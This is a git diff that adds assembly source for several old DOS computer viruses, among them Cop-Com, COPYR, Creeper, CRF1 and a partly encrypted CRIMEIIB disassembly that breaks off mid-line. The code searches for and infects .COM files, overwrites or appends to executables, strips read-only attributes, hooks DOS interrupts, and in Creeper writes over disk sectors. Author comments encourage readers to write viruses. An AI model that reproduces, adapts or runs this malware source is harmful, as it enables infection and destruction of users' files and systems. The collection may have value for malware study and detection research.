;Doit + +DoAgain:;See if we're done infecting + cmp infected_count, infect_per_run + jae NoFile ;if we're done, same as no new file + + + mov ah, 4fh ;find next + int 21h + + jc NoFile ;if carry is clear, DOIT again! + jmp ReSearch + +;Since we have no more files, we will restore things to normal. +NoFile: + mov dx, 80h ;reset default dta at DS:80h + mov ah, 1ah ;set DTA + int 21h + + add sp, 52 ;deallocate buffers and infected_count + + + +;Put original code of program BEFORE it was infected back in place! + + +Done: + pop ax ;restore ax + + + ;FUNKY code! In the 80x86, all NEAR or SHORT jmp opcodes take + ;a RELATIVE address...... BUT a retn opcode pops a near absolute + ;address of the stack - saves us the trouble of some calculating + ;relative to here, and the trouble of a self-modifying + ;far absolute jmp! (5 bytes) + + mov bx, 0100h + push bx + ret ;easiest jump to cs:100 + +End_Virus: +_TEXT ends +end start + diff --git a/c/COPCOM.ASM b/c/COPCOM.ASM new file mode 100755 index 0000000..deb130c --- /dev/null +++ b/c/COPCOM.ASM @@ -0,0 +1,103 @@ +; +; Cop-Com Virus +; + Org 100h + +Main: Xor Cx,Cx +On1: Call CritErr + Inc Cx + Cmp Cx,10 + Jb Infect + Push Cs + Pop Ds + Mov Ah,3ch + Lea Dx,Command + Xor Cx,Cx + Int 21h + Mov Ah,9 + Lea Dx,Msg + Int 21h + Jmp ShutDown +; +; Infection procedure +; +Infect: Push Cx + Mov Ah,4eh + Push Cs + Pop Ds +NextFile: Xor Cx,Cx + Lea Dx,COMFILE + Int 21h + Jc Einde + Mov Ax,Cs:[96h] + And Ax,1fh + Cmp Ax,1fh + Jne Do_It + Mov Ah,4fh + Jmp NextFile +Do_It: Mov Ax,3d02h + Mov Dx,9eh + Int 21h + Xchg Ax,Bx + Mov Ax,5700h + Int 21h + Push Cx + Push Dx + Mov Ah,40h + Mov Dx,100h + Mov Cx,VirLen + Int 21h + Pop Dx + Pop Cx + Or Cx,1fh + Mov Ax,5701h + Int 21h + Mov Ah,3eh + Int 21h +Einde: Pop Cx + Jmp On1 + +; +; Routine for calling the critical error handler +; +CritErr: Mov Ah,19h + Int 21h + Xor Dx,Dx + Mov Ds,Dx + Mov Ah,3ah + Pushf + Call Dword ptr Ds:[90h] + Cmp Al,2 + Jae ShutDown + Ret + + +; +; Terminate routine +; +ShutDown: Mov Ax,4c00h + Int 21h + + +; +; Activate message +; +Msg Db 13,10,'Program halted by Cop-Com' + Db 13,10,'Unauthorized program on your system' + Db 13,10,'Consult Local dealer for support' + Db 13,10,'$' + + Db '> (C) Business Software Alliance <' + +; +; Filespecs +; +Command Db 'C:\COMMAND.COM',0 +COMFILE Db '*.COM',0 + +VirLen Equ $-Main + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/c/COPYR.ASM b/c/COPYR.ASM new file mode 100755 index 0000000..55e4f8f --- /dev/null +++ b/c/COPYR.ASM @@ -0,0 +1,59 @@ + +PAGE 59,132 + +; +; +; COPYR +; +; Created: 1-Jan-80 +; Version: +; Passes: 5 Analysis Options on: AFOP +; +; +; + +data_1e equ 9Eh ; (996E:009E=0) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +COPYR proc far + +start: + mov ah,4Eh ; 'N' + mov cl,20h ; ' ' + mov dx,offset data_3 ; (996E:0128=2Ah) + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx +loc_1: + mov dx,data_1e ; (996E:009E=0) + mov ax,3D01h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + mov dx,offset ds:[100h] ; (996E:0100=0B4h) + mov cl,2Eh ; '.' + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_1 ; Jump if carry=0 + int 20h ; Program Terminate +data_3 db 2Ah + db 2Eh, 43h, 4Fh, 4Dh, 00h + +COPYR endp + +seg_a ends + + + + end start diff --git a/c/CREEPER.ASM b/c/CREEPER.ASM new file mode 100755 index 0000000..be698f6 --- /dev/null +++ b/c/CREEPER.ASM @@ -0,0 +1,328 @@ +; +; Demoralized Youth proudly presents: Creeper v1.0, Original Source +; +; Written by: TORMENTOR +; +; Yez, here it is... It's not like 4096 or Pogue, but it's a virus! +; The reason why I release the original source is that I think I +; can't do much more on this virus... I will start from scratch +; and write a larger and more smarter EXE-virus... +; And if I release this source maybe YOU will get some god ideas and +; write your own virus (or rewrite this!)... +; And if you do, Great! Feel free to mix with it as much as you want +; but please don't change this file! +; Well, go on and write virus! The world is to safe! +; +; +; Regards / TORMENTOR +; + +code segment byte public + assume cs:code, ds:code, es:code, ss:code + + + org 100h + + +codebeg: + + + mov ax,043FFh ; Remove virus from code! + int 21h + +; Let's allocate some mem! + + mov ax,ds + sub ax,11h + mov ds,ax + cmp byte ptr ds:[0100h],5Ah + jnz skip + mov ax,ds:[0103h] + sub ax,40h + jb skip + mov ds:[0103h],ax + sub word ptr ds:[0112h],50h + mov es,ds:[0112h] + push cs + pop ds + mov cx,code_end-codebeg + mov di,100h + push di + mov si,di + rep movsb + + push es + pop ds + + mov ax,351Ch + int 21h + mov word ptr ds:[int1Cret],bx + mov word ptr ds:[int1Cret+2],es + mov al,21h + int 21h + mov word ptr ds:[real21+1],bx + mov word ptr ds:[real21+3],es + + mov ah,25h + mov dx,offset int21beg + int 21h + mov al,1Ch + mov dx,offset int1Cnew + int 21h + + push cs + push cs + pop es + pop ds + + ret + +skip: int 20h + + +int21beg: push ax + sub ax,4B00h + jz infect + pop ax + cmp ax,043FFh ; Check if Harakiri. + jne real21 + + mov ax,word ptr ds:[retdata] + mov si,ax + mov di,100h + mov cx,code_end-codebeg + rep movsb + + mov ax,100h + + pop cx + pop cx + push es + push ax + iret + +real21: db 0EAh, 00h, 00h, 00h, 00h ; Jump to org21vec. + + +retdata: db 00h, 00h + +f_time: dw 0000h + +f_date: dw 0000h + +infect: pop ax + + push ax + push bx + push cx + push di + push ds + push dx + push si + + + mov ah,43h ; Get file attr. + int 21h + mov ax,4301h + and cx,0FEh ; Strip the Read-only-flag + int 21h + + mov ax,3D02h ; Open victim. + int 21h + + xchg ax,bx + + call sub_2 + +sub_2: mov di,sp ; God what I hate that Eskimo! + mov si,ss:[di] + inc sp + inc sp + + push cs + pop ds + + mov ax,5700h ; Get file's time and date + int 21h + mov [si-(sub_2-f_time)],cx + mov [si-(sub_2-f_date)],dx ; And save them... + + mov ah,3Fh ; Read X byte from begin. + mov cx,code_end-codebeg + add si,code_end-sub_2 ; SI points to EOF + mov dx,si + int 21h + + + cmp word ptr [si],'MZ' ; Mark Zimbowski? + je close + cmp word ptr [si],'ZM' ; Zimbowski Mark? + je close +mark: cmp word ptr [si+(mark-codebeg+4)],'YD' ; infected? + je close + + call put_eof ; move file ptr to EOF + + cmp ax,(0FFFFh-(code_end-codebeg)-100h) + ja close + cmp ax,code_end-codebeg+100h + jb close + + add ax,100h + mov word ptr ds:[si-(code_end-retdata)],ax + + mov ah,40h ; Flytta beg to end. + mov cx,code_end-codebeg + mov dx,si + int 21h + + mov ax,4200h ; fptr to filbeg. + xor cx,cx + xor dx,dx + int 21h + + mov ah,40h ; Write virus to beg. + mov cx,code_end-codebeg + mov dx,si + sub dx,cx + int 21h + +close: mov ax,5701h + mov cx,[si-(code_end-f_time)] + mov dx,[si-(code_end-f_date)] + int 21h + + mov ah,3Eh + int 21h ; close file, bx=file handle + + pop si + pop dx + pop ds + pop di + pop cx + pop bx + pop ax + + + jmp real21 + +put_eof: mov ax,4202h + xor dx,dx + xor cx,cx + int 21h + ret + + +int1Cnew: + + push ax + inc byte ptr cs:[counter] + mov al,30h + cmp byte ptr cs:[counter],al + jz scan + pop ax + + +slut: jmp dword ptr cs:[int1Cret] + +scan: + push bx + push cx + push di + push ds + push dx + push es + push si + + + push cs + pop ds + + cld + xor bx,bx + mov byte ptr cs:[counter],bh + mov cx,0FA0h + + mov ax,0b800h + mov es,ax + xor di,di + +again: mov al,byte ptr cs:[text+bx] + sub al,80h + repnz scasb + jnz stick + +maybe: inc di + inc bx + cmp bx,10d + jz beep + + mov al,byte ptr cs:[text+bx] + sub al,80h + scasb + jz maybe + xor bx,bx + jmp again + +beep: + xor cx,cx + mov bx,word ptr cs:[int1Cret] + mov es,word ptr cs:[int1Cret+2] + mov ax,251Ch + int 21h + +overagain: mov dx,0180h + xor bx,bx + +reset: mov ah,00h + inc bx + cmp bl,5h + jz raise + inc cx + int 13h + +hoho: mov ax,0380h + inc cx + int 13h + jc reset + jmp hoho + +raise: xor cx,cx + xor bx,bx + inc dx + cmp dl,85h + jnz hoho + jmp overagain + +stick: + pop si + pop es + pop dx + pop ds + pop di + pop cx + pop bx + pop ax + + + jmp slut + + +counter: db 00h + +text: db 'T'+80h, 'O'+80h, 'R'+80h, 'M'+80h, 'E'+80h, 'N'+80h + db 'T'+80h, 'O'+80h, 'R'+80h, '!'+80h + + ; This is what it scans the screen for --^ + +int1Cret: db 0EAh, 00h, 00h, 00h, 00h + +code_end: ; THE END. + +code ends +end codebeg + +; +; Greetings to: Charlie, HITMAN, Wiper, Torpedo, Tortuer, WiCO, Drive Screwer +; And ALL other virus-writers! +; diff --git a/c/CRF.ASM b/c/CRF.ASM new file mode 100755 index 0000000..e3bd320 --- /dev/null +++ b/c/CRF.ASM @@ -0,0 +1,192 @@ + title "CRF1 virus. Born on the Fourth of July. Written by TBSI." + page 60,80 +code segment word public 'code' + assume cs:code,ds:code + org 100h +main proc;edure + + +; As referenced in this source listing, Top-Of-File represents location 100h in +; the current memory segment, which is where the virus code is loaded into mem. +; The word "program" refers to the infected programs code and "virus" refers to +; the virus's code. This information is included to clarify my use of the word +; "program" in the remarks throughout this listing. + +; Since the virus (with the exception of "call skip" and "db 26") can be loaded +; anywhere in memory depending on the length of the infected program, I made it +; to where the BP register would be loaded with the displacement of the code in +; memory. This was done as follows: +; 1) a CALL instruction was issued. It places the TRUE return +; address onto the stack. +; 2) instead of returning to there, the value was popped off of +; the stack into the BP register +; 3) then, it subtracts the EXPECTED value of BP (the address of +; EOFMARK in the 1st-time copy) from BP to get the offset. +; 4) all references to memory locations were thereafter changed +; to refernces to EXPECTED memory locations + BP +; This fixed the problem. + + + + +tof: ;Top-Of-File + jmp short begin ;Skip over program + nop ;Reserve 3rd byte +EOFMARK: db 26 ;Disable DOS's TYPE + +first_four: nop ;First run copy only! +address: int 20h ;First run copy only! +check: nop ;First run copy only! + +begin: call nextline ;Push BP onto stack +nextline: pop bp ;BP=location of Skip + sub bp,offset nextline ;BP=offset from 1st run + + mov byte ptr [bp+offset infected],0 ;Reset infection count + + lea si,[bp+offset first_four] ;Original first 4 bytes + mov di,offset tof ;TOF never changes + mov cx,4 ;Lets copy 4 bytes + cld ;Read left-to-right + rep movsb ;Copy the 4 bytes + + mov ah,1Ah ;Set DTA address ... + lea dx,[bp+offset DTA] ; ... to *our* DTA + int 21h ;Call DOS to set DTA + + mov ah,4Eh ;Find First ASCIIZ + lea dx,[bp+offset filespec] ;DS:DX -} '*.COM',0 + lea si,[bp+offset filename] ;Point to file + push dx ;Save DX + jmp short continue ;Continue... + +return: mov ah,1ah ;Set DTA address ... + mov dx,80h ; ... to default DTA + int 21h ;Call DOS to set DTA + xor ax,ax ;AX= 0 + mov bx,ax ;BX= 0 + mov cx,ax ;CX= 0 + mov dx,ax ;DX= 0 + mov si,ax ;SI= 0 + mov di,ax ;DI= 0 + mov sp,0FFFEh ;SP= 0 + mov bp,100h ;BP= 100h (RETurn addr) + push bp ; Put on stack + mov bp,ax ;BP= 0 + ret ;JMP to 100h + +nextfile: or bx,bx ;Did we open the file? + jz skipclose ;No, so don't close it + mov ah,3Eh ;Close file + int 21h ;Call DOS to close it + xor bx,bx ;Set BX back to 0 +skipclose: mov ah,4Fh ;Find Next ASCIIZ + +continue: pop dx ;Restore DX + push dx ;Re-save DX + xor cx,cx ;CX= 0 + xor bx,bx + int 21h ;Find First/Next + jnc skipjmp + jmp NoneLeft ;Out of files + +skipjmp: mov ax,3D02h ;open file + mov dx,si ;point to filespec + int 21h ;Call DOS to open file + jc nextfile ;Next file if error + + mov bx,ax ;get the handle + mov ah,3Fh ;Read from file + mov cx,4 ;Read 4 bytes + lea dx,[bp+offset first_four] ;Read in the first 4 + int 21h ;Call DOS to read + + cmp byte ptr [bp+offset check],26 ;Already infected? + je nextfile ;Yep, try again ... + cmp byte ptr [bp+offset first_four],77 ;Mis-named .EXE? + je nextfile ;Yep, maybe next time! + + mov ax,4202h ;LSeek to EOF + xor cx,cx ;CX= 0 + xor dx,dx ;DX= 0 + int 21h ;Call DOS to LSeek + + cmp ax,0FD00h ;Longer than 63K? + ja nextfile ;Yep, try again... + mov [bp+offset addr],ax ;Save call location + + mov ah,40h ;Write to file + mov cx,4 ;Write 4 bytes + lea dx,[bp+offset first_four] ;Point to buffer + int 21h ;Save the first 4 bytes + + mov ah,40h ;Write to file + mov cx,offset eof-offset begin ;Length of target code + lea dx,[bp+offset begin] ;Point to virus start + int 21h ;Append the virus + + mov ax,4200h ;LSeek to TOF + xor cx,cx ;CX= 0 + xor dx,dx ;DX= 0 + int 21h ;Call DOS to LSeek + + mov ax,[bp+offset addr] ;Retrieve location + inc ax ;Adjust location + + mov [bp+offset address],ax ;address to call + mov byte ptr [bp+offset first_four],0E9h ;JMP rel16 inst. + mov byte ptr [bp+offset check],26 ;EOFMARK + + mov ah,40h ;Write to file + mov cx,4 ;Write 4 bytes + lea dx,[bp+offset first_four] ;4 bytes are at [DX] + int 21h ;Write to file + + inc byte ptr [bp+offset infected] ;increment counter + jmp nextfile ;Any more? + +NoneLeft: cmp byte ptr [bp+offset infected],2 ;At least 2 infected? + jae TheEnd ;The party's over! + + mov di,100h ;DI= 100h + cmp word ptr [di],20CDh ;an INT 20h? + je TheEnd ;Don't go to prev. dir. + + lea dx,[bp+offset prevdir] ;'..' + mov ah,3Bh ;Set current directory + int 21h ;CHDIR .. + jc TheEnd ;We're through! + mov ah,4Eh + jmp continue ;Start over in new dir + +TheEnd: jmp return ;The party's over! + +filespec: db '*.COM',0 ;File specification +prevdir: db '..',0 ;previous directory + +; None of this information is included in the virus's code. It is only used +; during the search/infect routines and it is not necessary to preserve it +; in between calls to them. + +eof: +DTA: db 21 dup (?) ;internal search's data + +attribute db ? ;attribute +file_time db 2 dup (?) ;file's time stamp +file_date db 2 dup (?) ;file's date stamp +file_size db 4 dup (?) ;file's size +filename db 13 dup (?) ;filename + +infected db ? ;infection count + +addr dw ? ;Address + + main endp;rocedure + code ends;egment + + end main +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/c/CRIMEIIB (50).ASM b/c/CRIMEIIB (50).ASM new file mode 100755 index 0000000..de838fb --- /dev/null +++ b/c/CRIMEIIB (50).ASM @@ -0,0 +1,394 @@ + +PAGE 59,132 + +; +; +; CRIMEIIB +; +; Created: 31-Jan-91 +; Passes: 5 Analysis Options on: none +; +; + +data_8e equ 20D3h ;* +data_9e equ 28C9h ;* +data_10e equ 3C81h ;* +data_26e equ 8ECDh ;* +data_34e equ 0B7C5h ;* +data_37e equ 0D848h ;* +data_38e equ 0E245h ;* +data_44e equ 0F198h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +crimeIIb proc far + +start: +;* jmp loc_2 ;* + db 0E9h,0FFh,0FFh + db 1 ; Data table (indexed access) + db 00h, 99h, 5Eh, 81h,0EEh, 03h + db 01h, 83h,0FEh, 00h, 74h, 1Ch + db 2Eh, 8Ah, 94h, 03h, 01h, 8Dh +loc_3: + mov ax,cs + push es + lea bx,[si+12Ah] ; Load effective addr + sub cx,bx + +locloop_4: + mov al,cs:[bx] + xor al,dl + ror dl,1 ; Rotate + mov cs:[bx],al + inc bx + loop locloop_4 ; Loop if cx > 0 + + mov bh,4Ch ; 'L' + loop $+32h ; Loop if cx > 0 + + cbw ; Convrt byte to word + iret ; Interrupt return +;* js loc_6 ;*Jump if sign=1 + db 78h, 35h + xchg ax,di + retn 3479h + adc al,70h ; 'p' + scasb ; Scan es:[di] for al + xor ax,4C20h + db 66h, 83h, 99h, 30h, 95h, 99h + db 29h, 90h, 48h,0BBh, 1Dh, 04h + db 60h, 1Dh, 11h, 48h, 8Eh, 35h + db 0B7h, 44h,0E2h, 3Bh, 9Eh, 41h + db 0F2h, 7Bh, 9Eh, 78h, 7Ch,0FEh + db 0B8h,0FFh,0A6h, 2Dh, 17h, 14h + db 0C7h, 35h, 98h,0D3h, 5Bh, 33h + db 99h +loc_6: + mov cx,1D6Ch + pop di + dec ax + db 0C8h, 32h, 99h, 5Ch, 8Dh, 3Bh + db 09h,0E2h,0A0h,0B7h, 37h,0CDh + db 67h,0A3h, 72h, 81h,0F6h + +locloop_7: + jle loc_3 ; Jump if < or = +;* call far ptr sub_7 ;* + db 9Ah, 63h, 33h, 99h,0CCh + db 67h, 33h, 98h, 3Ch, 99h,0C3h + db 66h,0CCh, 66h, 33h, 99h,0CDh + db 66h,0FEh,0B9h,0CCh + db 64h, 37h + db 99h + db 0CCh, 66h + dw 9931h ; Data table (indexed access) + db 33h, 69h,0CCh, 66h,0CCh, 66h + db 0CDh, 66h,0CCh, 66h,0D3h, 98h + db 0CCh, 66h, 2Fh, 99h,0CCh, 66h + db 26h, 98h,0CEh + db 65h, 33h + +locloop_8: + cbw ; Convrt byte to word + xor bp,[bp+si+39h] + cbw ; Convrt byte to word + out 48h,al ; port 48h ??I/O Non-standard + jbe $-3Dh ; Jump if below or = + mov [bp+19h],sp + mov bh,8Fh + sub [bp-67h],di + in al,dx ; port 0, DMA-1 bas&add ch 0 + db 66h, 37h, 70h,0CCh, 66h,0B0h + db 67h,0CCh, 13h, 30h, 70h, 1Bh + db 66h, 1Dh, 12h, 48h,0F7h + db 32h,0A4h, 81h, 3Ch +loc_10: + inc si + nop + loop locloop_7 ; Loop if cx > 0 + + mov bh,16h + int 67h ; ??INT Non-standard interrupt + esc 0,[bp+si+485Ch] ; coprocessor escape + cmc ; Complement carry + sbb ax,6743h + xor dx,[si] +;* jo loc_11 ;*Jump if overflow=1 + db 70h,0F7h + xor ah,[bp+si] + int 3 ; Debug breakpoint + db 67h, 8Ah, 97h,0CCh + +locloop_12: + in ax,dx ; port 0, DMA-1 bas&add ch 0 + db 36h, 10h,0CBh, 25h + db 70h,0DEh, 8Bh, 84h,0C5h,0B7h + db 47h,0E2h,0B0h, 98h,0E2h,0EFh + db 0B7h, 1Ch,0CDh + db 48h,0B8h, 1Dh, 4Bh, 67h, 1Dh + db 10h, 48h,0EFh, 32h,0B7h, 47h + db 0E2h, 94h, 98h,0E2h,0EFh,0B7h + db 12h,0CDh,0D2h, 19h, 54h,0EDh + db 48h, 0Ah, 0Dh, 78h, 67h, 4Fh + db 9Ah, 27h, 19h,0A3h,0B7h,0F6h + db 0E2h, 9Dh, 98h,0B9h, 65h,0D8h + db 0ECh, 5Ch,0EBh,0AFh, 16h,0CEh + db 0DFh, 2Ah, 99h,0E2h,0ECh, 24h + db 19h, 3Eh, 33h, 87h, 9Bh, 01h + db 47h, 70h, 7Bh, 3Fh,0EBh,0AFh + db 51h,0CAh,0DEh, 33h, 98h,0FFh + db 0AFh, 1Dh, 10h,0CBh, 25h, 70h + db 67h, 08h, 27h,0B0h, 60h,0ECh + db 18h,0C0h, 14h, 50h,0AEh, 35h + db 2Ch,0CCh,0DCh,0B3h, 99h, 79h + db 66h, 83h, 99h, 7Dh, 60h,0E1h + db 79h, 46h,0AEh,0B3h, 50h,0CDh + db 0DEh, 33h, 9Ch, 01h, 75h, 41h + db 9Eh, 32h,0A0h,0B3h, 67h,0C5h + db 13h,0D6h, 20h,0C9h, 66h, 87h + db 9Bh, 7Eh, 61h,0FEh,0B8h, 2Eh + db 9Eh,0D8h, 67h, 93h, 3Eh, 22h + db 8Dh,0CDh, 72h, 25h, 9Eh,0D0h + db 7Eh, 23h,0ECh,0D0h, 7Ah, 46h + db 0ECh,0CFh, 7Ah, 34h, 99h,0CAh + db 39h, 6Bh,0C6h, 94h,0D2h, 2Ah + db 54h,0EDh, 48h,0BBh, 1Dh, 09h + db 67h, 87h,0DEh,0FFh,0B4h + db 65h + db 14h, 78h,0AFh, 35h, 54h,0EDh + db 38h + db 1Dh, 5Fh, 48h,0D0h, 32h, 99h + db 24h, 3Bh + +locloop_17: + xor dx,[si] + push ax + db 0C9h, 32h,0B7h, 46h,0E2h, 85h + db 98h,0E2h, 98h,0B7h, 2Fh,0CDh + db 0FEh + db 30h + db 41h,0E2h,0ECh, 34h + db 13h, 1Ch, 5Ah,0CCh,0ECh,0CFh + db 8Fh, 1Eh, 9Ah, 4Ch, 9Ch, 32h + db 0ECh,0DCh, 48h,0B9h, 1Dh, 62h + db 67h, 0Fh, 98h,0B8h,0B3h, 0Fh + db 9Bh,0B9h, 65h,0DAh,0A5h, 33h + db 0D2h, 3Dh, 54h,0EDh,0D2h, 74h + db 2Bh,0CCh, 30h,0BEh, 2Dh, 25h + db 60h,0FEh,0B8h, 92h,0DDh, 37h + db 99h,0E2h + db 0ECh, 34h,0A5h,0CFh, 13h, 34h + db 29h,0CCh, 48h,0BBh, 9Eh, 27h + db 0CBh,0DBh, 85h,0CDh, 8Eh,0ABh + db 99h + db 0BFh, 48h,0D8h, 3Ah,0FFh,0A6h + db 2Dh, 17h, 14h,0DDh,0A3h, 99h + db 47h, 21h, 31h,0B7h, 45h,0E2h + db 4Eh, 98h, 47h, 61h, 1Dh, 10h + db 48h, 19h, 32h, 15h, 04h,0EFh + db 74h, 9Bh, 41h,0E2h, 74h, 9Ah + db 45h, 61h, 2Ch, 5Ah, 77h, 62h + db 33h,0B7h, 0Ah, 61h, 30h, 56h + db 75h, 26h, 33h,0CFh, 83h, 29h + db 7Ch, 5Eh,0C9h, 46h, 6Fh, 12h + db 3Fh, 9Ah, 9Fh, 33h, 85h, 5Ah + db 33h,0ECh, 35h, 38h, 87h,0A2h + db 41h,0F2h, 3Bh, 9Eh, 01h, 47h + db 0DBh, 51h,0CCh, 8Eh, 77h, 99h + db 0BFh,0BCh, 87h,0A2h, 41h,0F2h + db 0DBh, 9Fh, 01h, 47h, 1Dh + db 67h, 48h + +locloop_21: + retf + xor dh,[bx+di-2] + db 66h, 40h, 9Ah, 25h,0E0h, 31h + db 0B7h, 46h,0E2h, 9Eh, 98h,0F0h + db 66h, 46h, 9Ch, 4Fh,0A5h, 3Ah + db 72h, 7Bh,0D2h, 7Ch,0C9h, 01h + db 47h, 6Bh,0EAh,0CFh, 8Fh, 10h + db 66h, 9Ch,0D2h, 1Ch, 54h,0EDh + db 0E5h,0F0h, 8Ch + db 7Ch, 76h, 1Dh,0A1h,0CBh, 3Eh + db 46h, 7Ch, 32h,0AEh,0D8h + db 41h, 41h,0DAh, 3Ah, 9Eh, 75h + db 5Ch, 33h, 29h,0CCh, 9Ah,0C0h + db 33h, 78h, 21h, 65h,0AAh, 1Eh + db 0EBh, 87h, 90h,0CBh,0ABh, 12h + db 0C7h, 30h,0EBh, 8Fh, 90h,0CBh + db 0DFh, 73h, 99h, 7Ch, 66h,0C1h + db 37h,0B8h, 64h,0CAh, 5Ah, 83h + db 29h,0B9h, 9Ch,0F0h + db 3Ah, 47h + db 9Ah, 8Bh,0D6h, 6Fh,0B7h, 44h + db 63h, 74h, 29h,0E6h, 48h,0BBh + db 9Ch, 8Bh,0D6h, 1Dh,0B7h, 44h + db 63h, 74h, 29h,0E6h, 48h,0BBh + db 9Ch, 8Bh,0EBh,0A7h, 91h,0CBh + db 0D2h, 7Dh, 20h,0DCh, 66h,0FEh + db 0B8h,0BFh, 67h,0F0h, 2Dh,0E3h + db 60h,0FEh,0B8h, 4Fh,0A5h, 26h + db 29h,0DCh + db 40h, 0Bh, 9Eh,0CBh, 13h + db 21h, 61h, 78h, 49h, 35h, 54h +loc_26: + in ax,dx ; port 0, DMA-1 bas&add ch 0 + in ax,0F0h ; port 0F0h ??I/O Non-standard + xchg di,[si+48h] + sbb ax,0CBA1h + db 61h, 47h, 98h, 0Fh,0D2h, 7Ch + db 54h,0EDh, 15h,0EBh, 60h, 0Fh + db 0D2h, 7Dh, 20h,0CBh, 66h,0BEh + db 0Dh, 7Bh, 67h,0FEh,0B8h,0BEh + db 77h,0DBh,0B4h,0CCh,0D2h, 7Ch + db 20h,0CBh, 66h,0FEh,0B8h,0BEh + db 63h,0DBh,0B8h,0CCh, 8Dh,0C1h + db 14h, 58h,0DBh, 32h, 2Dh, 82h + db 0DFh, 34h, 99h, 01h, 47h, 41h + db 88h, 24h, 69h, 33h, 2Dh, 83h + db 0DFh, 34h, 99h, 01h, 47h, 41h + db 9Ch, 24h, 65h, 33h, 72h, 3Eh + db 0A5h, 87h,0B6h,0CAh,0ABh, 12h + db 1Ah, 0Fh, 79h, 15h, 13h,0CBh + db 61h, 0Fh,0DBh,0B9h, 67h,0F0h + db 2Dh,0E3h, 60h,0FEh,0B8h, 4Fh + db 0A5h, 25h,0BFh, 47h, 69h,0B0h + db 5Ah,0CEh, 40h,0B8h, 8Eh,0CBh + db 0ECh,0F2h,0BDh, 2Ch,0ECh,0D3h + db 0C8h + db 'uc3K$' + db '?9]' + db 0C8h, 63h, 09h, 58h,0B8h, 63h + db 0B9h, 51h, 27h, 64h,0A3h, 5Ah + db 94h, 3Eh, 62h,0CBh,0D2h, 60h + db 87h,0B6h, 01h, 47h,0BFh, 59h + db 42h,0BEh,0DBh, 8Ah,0CDh,0EDh + db 0E0h, 1Ah, 0Eh, 78h, 8Bh, 9Bh + db 0F1h,0ABh, 12h, 12h, 14h, 61h + db 2Ch, 2Dh,0F3h,0EBh,0A7h, 08h + db 0CDh,0DFh, 2Fh, 99h, 01h, 47h + db 1Dh + db 13h, 68h,0F7h + db 32h,0B7h, 46h,0E2h,0A1h, 98h + db 0F1h, 3Ch, 7Eh,0EDh,0CFh, 8Fh + db 0AAh, 99h,0E2h,0EDh,0B7h, 3Ch + db 0CDh, 48h,0BAh, 1Dh, 4Fh, 67h + db 1Dh, 12h, 48h,0C1h, 32h,0B7h + db 45h,0E2h,0B4h, 98h,0E2h + db 0EDh,0B7h, 0Ch,0CDh, 35h, 00h + db 42h,0FFh,0AFh,0E2h, 49h, 46h + db 0AAh,0E2h, 41h, 4Fh, 9Fh, 33h + db 0EDh,0CAh,0E7h,0F0h, 99h,0DCh + db 84h,0C9h, 28h,0C5h,0B5h,0D3h + db 20h,0C8h, 66h, 1Dh, 12h, 58h + db 0FFh, 32h, 4Ah, 2Eh, 36h, 18h + db 5Bh,0E2h,0EFh,0AFh, 3Eh,0CDh + db 48h,0BAh, 05h + db 53h, 67h + db 1Dh, 10h, 48h,0C3h, 32h, 20h + db 0CCh, 64h, 1Dh, 10h, 40h,0F5h + db 32h, 20h, 32h, 99h, 1Dh, 10h + db 40h,0C7h, 32h,0B7h, 47h,0EAh + db 0A6h, 98h, 4Fh,0A7h, 30h,0B7h + db 45h + +locloop_31: + jmp far ptr $-6CB4h + loop $+74h ; Loop if cx > 0 + + sbb ax,0E28Dh + jc $+4Ch ; Jump if carry Set + mov cx,52B8h + xchg ax,si + esc 6,[bp+di] ; coprocessor escape + esc 3,ds:[12ABh][bx] ; coprocessor escape +;* jno loc_30 ;*Jump if not overflw + db 71h,0C9h + db 67h, 8Bh, 99h, 8Eh, 55h,0FAh + db 0AAh, 1Eh,0ABh, 12h, 2Dh, 8Ch + db 0DFh, 2Fh, 99h, 41h,0F2h,0A2h + db 98h, 01h, 47h,0D8h,0AEh, 5Ch + db 0DEh, 31h,0DBh,0FFh,0AFh, 00h + db 4Bh, 01h, 47h,0DBh, 7Bh,0CCh + db 0DEh, 33h,0DBh,0FFh,0AFh, 00h + db 4Bh, 01h, 47h, 87h,0B6h, 9Fh + db 60h,0FEh,0B8h, 4Fh,0A5h, 29h + db 0BFh, 47h, 61h, 34h,0C2h,0E1h + db 65h, 33h,0B7h, 45h,0E2h,0F4h + db 98h, 78h, 26h, 8Ah, 9Ah,0CCh + db 0EBh,0A7h, 5Fh,0CDh,0ABh, 12h + db 0C3h, 95h,0DEh, 32h,0CEh, 01h + db 47h, 87h,0A7h, 01h, 47h,0DBh + db 0B5h,0CCh,0D2h, 08h, 14h, 58h + db 8Eh, 35h, 54h,0EDh, 8Dh, 09h + db 09h, 78h, 49h, 35h,0CAh + db 01h, 47h,0B8h, 4Ah, 4Fh,0A4h + db 2Dh, 21h,0CCh, 25h,0FEh,0B8h + db 97h, 61h, 1Dh, 10h, 40h,0A5h + db 32h, 18h, 2Dh, 98h, 33h, 21h + db 0CDh, 25h,0FEh,0B8h, 0Fh, 48h + db 0B8h, 15h, 0Fh, 67h, 87h,0B6h + db 0CAh, 35h,0FEh,0B8h, 47h,0B5h + db 0B0h, 5Bh,0D2h,0DEh, 32h,0DAh + db 01h, 47h, 68h, 9Eh, 0Fh,0D2h + db 3Dh + db 0B7h, 46h,0F2h,0F6h, 98h, 01h + db 47h, 87h,0A2h, 41h,0F2h,0FBh + db 9Fh +loc_34: + add [bx-25h],ax + mov word ptr ds:[61CCh],ax + sub al,2Dh ; '-' + db 0D6h,0DCh,0B3h, 99h, 01h, 47h + db 0B8h, 5Fh,0F1h, 66h, 33h,0EDh + db 0EAh, 48h,0B9h, 1Dh, 43h, 67h + db 0Fh, 98h,0B9h, 7Eh, 1Dh, 12h + db 48h,0EFh, 32h,0B7h, 47h,0FAh + db 0B8h, 98h,0C2h, 3Fh, 18h, 52h + db 